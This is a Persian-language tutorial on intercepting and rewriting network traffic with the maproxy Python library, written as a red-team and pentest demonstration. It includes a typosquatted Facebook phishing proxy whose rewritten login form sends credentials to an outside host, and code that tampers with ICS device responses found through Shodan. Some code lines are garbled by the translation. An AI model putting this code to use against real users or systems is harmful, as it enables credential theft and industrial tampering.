پردازش داده های شبکه در حین پرواز

ترجمه مقاله در آستانه شروع دوره آماده شد «پنتست. تمرین تست نفوذ".

پردازش داده های شبکه در حین پرواز

حاشیه نویسی

انواع مختلفی از ارزیابی‌های امنیتی، از آزمایش نفوذ منظم و عملیات Red Team گرفته تا هک دستگاه‌های IoT/ICS و SCADA، شامل کار با پروتکل‌های شبکه باینری است، یعنی اساساً رهگیری و تغییر داده‌های شبکه بین مشتری و هدف. شناسایی ترافیک شبکه کار دشواری نیست زیرا ابزارهایی مانند Wireshark، Tcpdump یا Scapy داریم، اما به نظر می‌رسد اصلاح، کار سخت‌تری باشد، زیرا برای خواندن داده‌های شبکه، فیلتر کردن و تغییر آن به نوعی رابط نیاز داریم. آن را در حین پرواز و تقریباً در زمان واقعی به میزبان هدف بازگردانید. علاوه بر این، اگر چنین ابزاری بتواند به طور خودکار با چندین اتصال موازی کار کند و با استفاده از اسکریپت قابل تنظیم باشد، ایده آل خواهد بود.

یک روز ابزاری را کشف کردم به نام maproxy، اسناد به سرعت برای من روشن شد که maproxy - فقط چیزی که نیاز دارم این یک پروکسی TCP نسبتا ساده، همه کاره و به راحتی قابل تنظیم است. من این ابزار را روی چندین برنامه نسبتاً پیچیده، از جمله دستگاه‌های ICS (که بسته‌های زیادی تولید می‌کنند) آزمایش کردم تا ببینم آیا می‌تواند بسیاری از اتصالات موازی را مدیریت کند یا خیر، و ابزار عملکرد خوبی داشت.

این مقاله شما را با پردازش داده های شبکه در حال پرواز با استفاده از آن آشنا می کند maproxy.

مرور

ابزار maproxy مبتنی بر Tornado، یک چارچوب شبکه ناهمزمان محبوب و بالغ در پایتون است.

به طور کلی، می تواند در چندین حالت کار کند:

  • TCP:TCP - اتصالات TCP رمزگذاری نشده؛
  • TCP:SSL и SSL:TCP - با رمزگذاری یک طرفه؛
  • SSL:SSL – رمزگذاری دو طرفه

به صورت کتابخانه می آید. برای شروع سریع، می توانید از فایل های نمونه ای استفاده کنید که منعکس کننده اصلی هستند توابع کتابخانه:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

مورد 1 - پروکسی دو طرفه ساده

بر اساس tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

به طور پیش فرض ProxyServer() دو آرگومان می گیرد - محل اتصال و پورت هدف. server.listen() یک آرگومان می گیرد - پورت برای گوش دادن به اتصال ورودی.

اجرای اسکریپت:

# python tcp2tcp.py

برای اجرای آزمایش، می‌خواهیم از طریق اسکریپت پروکسی خود به یک سرور SSH محلی متصل شویم که به آن گوش می‌دهد. 2222/tcp پورت و به یک پورت استاندارد متصل می شود 22/tcp سرورهای SSH:

پردازش داده های شبکه در حین پرواز

بنر خوش آمدگویی به شما اطلاع می دهد که اسکریپت نمونه ما با موفقیت ترافیک شبکه را پروکسی کرده است.

مورد 2 - اصلاح داده ها

یک اسکریپت نمایشی دیگر logging_proxy.py ایده آل برای تعامل با داده های شبکه نظرات موجود در فایل روش های کلاسی را که می توانید برای رسیدن به هدف خود تغییر دهید، توضیح می دهند:

پردازش داده های شبکه در حین پرواز

جالب ترین چیز اینجاست:

  • on_c2p_done_read - برای رهگیری داده ها در طول مسیر از مشتری به سرور؛
  • on_p2s_done_read - معکوس

بیایید سعی کنیم بنر SSH را که سرور به مشتری برمی گرداند تغییر دهیم:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

اجرای اسکریپت:

پردازش داده های شبکه در حین پرواز

همانطور که می بینید، مشتری گمراه شد زیرا نام سرور SSH برای او به تغییر پیدا کرد «DumnySSH».

پردازش داده های شبکه در حین پرواز

مورد 3 - صفحه وب ساده فیشینگ

راه های بی پایانی برای استفاده از این ابزار وجود دارد. این بار بیایید روی چیزهای کاربردی تر از سمت عملیات تیم قرمز تمرکز کنیم. بیایید از صفحه فرود تقلید کنیم m.facebook.com و از یک دامنه سفارشی با اشتباه تایپی عمدی استفاده کنید، برای مثال، m.facebok.com. برای اهداف نمایشی، اجازه دهید فرض کنیم که دامنه توسط ما ثبت شده است.

ما قصد داریم یک اتصال شبکه رمزگذاری نشده با پراکسی قربانیان و SSL Stream به سرور فیس بوک (31.13.81.36). برای اینکه این مثال کار کند، باید هدر میزبان HTTP را جایگزین کنیم و نام میزبان صحیح را تزریق کنیم، همچنین فشرده‌سازی پاسخ را غیرفعال می‌کنیم تا بتوانیم به راحتی به محتویات دسترسی داشته باشیم. در نهایت ما فرم HTML را جایگزین می کنیم تا اعتبار ورود به سیستم به جای سرورهای فیس بوک برای ما ارسال شود:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/fa/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

به طور خلاصه:

پردازش داده های شبکه در حین پرواز

همانطور که می بینید، ما با موفقیت توانستیم سایت اصلی را جایگزین کنیم.

مورد 4 - انتقال اترنت/IP

مدتی است که با دستگاه ها و نرم افزارهای صنعتی (ICS/SCADA) مانند کنترلرهای قابل برنامه ریزی (PLC)، ماژول های ورودی/خروجی، درایوها، رله ها، محیط های برنامه نویسی نردبانی و بسیاری موارد دیگر سر و کار دارم. این مورد برای کسانی است که به چیزهای صنعتی علاقه دارند. هک چنین راه حل هایی مستلزم بازی فعالانه با پروتکل های شبکه است. در مثال زیر، می خواهم نشان دهم که چگونه می توانید ترافیک شبکه ICS/SCADA را تغییر دهید.

برای این کار به موارد زیر نیاز خواهید داشت:

  • sniffer شبکه، به عنوان مثال، Wireshark.
  • اترنت/IP یا فقط یک دستگاه SIP، می توانید آن را با استفاده از سرویس Shodan پیدا کنید.
  • فیلمنامه ما بر اساس maproxy.

ابتدا، بیایید ببینیم که یک پاسخ شناسایی معمولی از CIP (پروتکل صنعتی مشترک) چگونه است:

پردازش داده های شبکه در حین پرواز

شناسایی دستگاه با استفاده از پروتکل Ethernet/IP انجام می شود که نسخه پیشرفته پروتکل اترنت صنعتی است که پروتکل های کنترلی مانند CIP را در بر می گیرد. ما قصد داریم نام شناسه هایلایت شده را که در تصویر قابل مشاهده است تغییر دهیم "NI-IndComm برای اترنت" با استفاده از اسکریپت پروکسی ما می‌توانیم از اسکریپت دوباره استفاده کنیم logging_proxy.py و به طور مشابه متد کلاس را اصلاح کنید on_p2s_done_read، زیرا می خواهیم یک نام هویت متفاوت در مشتری قابل مشاهده باشد.

کد:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

اساساً، ما دو بار درخواست شناسایی دستگاه کردیم، پاسخ دوم پاسخ اصلی بود، و پاسخ اول در پرواز اصلاح شد.

و آخرین

به نظر من maproxy یک ابزار راحت و ساده که به زبان پایتون نیز نوشته شده است، بنابراین من معتقدم که شما نیز می توانید از استفاده از آن بهره مند شوید. البته ابزارهای پیچیده تری برای پردازش و اصلاح داده های شبکه وجود دارد، اما آنها همچنین نیاز به توجه بیشتری دارند و معمولاً برای یک مورد خاص ایجاد می شوند، به عنوان مثال. مورائنا, مدلیشکا یا evilginx برای موارد مشابه سوم، یا کاناپه برای آخرین مورد به هر طریقی، با کمک maproxy شما می توانید به سرعت ایده های خود را برای رهگیری داده های شبکه پیاده سازی کنید، زیرا اسکریپت های مثال بسیار واضح هستند.

آزمایش مکانیسم های احراز هویت در ویندوز AD

منبع: www.habr.com

اضافه کردن نظر